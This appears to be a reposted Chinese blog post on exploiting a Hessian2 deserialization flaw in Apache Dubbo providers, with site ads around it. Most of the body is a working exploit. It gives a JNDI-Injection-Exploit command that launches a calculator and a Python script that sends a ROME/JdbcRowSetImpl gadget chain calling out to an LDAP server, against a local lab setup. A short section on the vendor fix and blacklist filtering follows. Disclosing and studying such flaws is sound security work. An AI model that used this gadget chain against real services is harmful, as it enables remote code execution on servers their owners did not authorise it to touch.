Dubbo provider hessian2反序列化漏洞利用

栏目: IT技术 · 发布时间: 5年前

内容简介:去年发现这个问题后,写了篇分析一直没发,因为当时还在和官方邮件交流中所以不方便发出来。当然后来官方也提供了修复方法并在一次PR里面加了对反序列化时service name的判断,猜测可能认为hessian的序列化反序列化虽然是默认方式但不属于dubbo自身问题,所以只对dubbo协议中的细节增加了判断。之前跟threedr3am师傅交流提到过,最近师傅对此也进行了分析从利用JNDI-Injection-Exploit(

去年发现这个问题后,写了篇分析一直没发,因为当时还在和官方邮件交流中所以不方便发出来。当然后来官方也提供了修复方法并在一次PR里面加了对反序列化时service name的判断,猜测可能认为hessian的序列化反序列化虽然是默认方式但不属于dubbo自身问题,所以只对dubbo协议中的细节增加了判断。之前跟threedr3am师傅交流提到过,最近师傅对此也进行了分析 dubbo源码浅析:默认反序列化利用之hessian2 ,写的比我好,我就不发分析了233。这里写篇文章大概记录下利用方式。

利用方式

https://github.com/apache/dubbo-spring-boot-project 将代码下载到本地,将ROME加入 dubbo-spring-boot-auto-configure-provider-sample 模块pom包并启动

<dependency>
    <groupId>com.rometools</groupId>
    <artifactId>rome</artifactId>
    <version>1.7.0</version>
</dependency>
 

利用JNDI-Injection-Exploit( https://github.com/welk1n/JNDI-Injection-Exploit ) 进行JNDI注入

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "open /System/Applications/Calculator.app" -A 127.0.0.1
 

运行以下 python 代码即可进行dubbo协议通信并传入恶意对象进行反序列化后的JNDI注入

(因为现在的版本都没对进入的service方法进行签名之类的验证,所以不用获取注册中心权限来知道service信息就可以攻击)

# -*- coding: utf-8 -*-
# Ruilin
# pip3 install dubbo-py
from dubbo.codec.hessian2 import Decoder,new_object
from dubbo.client import DubboClient
 
client = DubboClient('127.0.0.1', 12345)
 
JdbcRowSetImpl=new_object(
    'com.sun.rowset.JdbcRowSetImpl',
    dataSource="ldap://127.0.0.1:8087/Exploit",
    strMatchColumns=["foo"]
    )
JdbcRowSetImplClass=new_object(
    'java.lang.Class',
    name="com.sun.rowset.JdbcRowSetImpl",
    )
toStringBean=new_object(
    'com.rometools.rome.feed.impl.ToStringBean',
    beanClass=JdbcRowSetImplClass,
    obj=JdbcRowSetImpl
    )
 
resp = client.send_request_and_return_response(
    service_name='cn.rui0',
    method_name='rce',
    args=[toStringBean])
 

Dubbo provider hessian2反序列化漏洞利用

修复

根据反馈官方准备在2.7.6版本中修复,不过目前只是像向上面说的增加反序列化前的service name的判断,如果能控制到中间注册中心还是会存在攻击风险。因为hessian也是一种分布式下常见的二进制序列化方式,同时它自身并没有做针对类似gadgets的防护,所以这里还是建议大家使用时要对其进行拓展,可以参考SOFA的处理( https://github.com/sofastack/sofa-hessian ) 来增加对应的黑名单过滤器。


以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

算法设计与分析

算法设计与分析

郑宗汉//郑晓明 / 清华大学 / 2011-7 / 45.00元

《算法设计与分析(第2版)》系统地介绍算法设计与分析的概念和方法,共4部分内容。第1部分介绍算法设计与分析的基本概念,结合穷举法、排序问题及其他一些算法,对算法的时间复杂性的概念及复杂性的分析方法作了较为详细的叙述;第2部分以算法设计技术为纲,从合并排序、堆排序、离散集合的union和find操作开始,进而介绍递归技术、分治法、贪婪法、动态规划、回溯法、分支与限界法和随机算法等算法设计技术及其复杂......一起来看看 《算法设计与分析》 这本书的介绍吧!

XML 在线格式化
XML 在线格式化

在线 XML 格式化压缩工具

html转js在线工具
html转js在线工具

html转js在线工具

HEX HSV 转换工具
HEX HSV 转换工具

HEX HSV 互换工具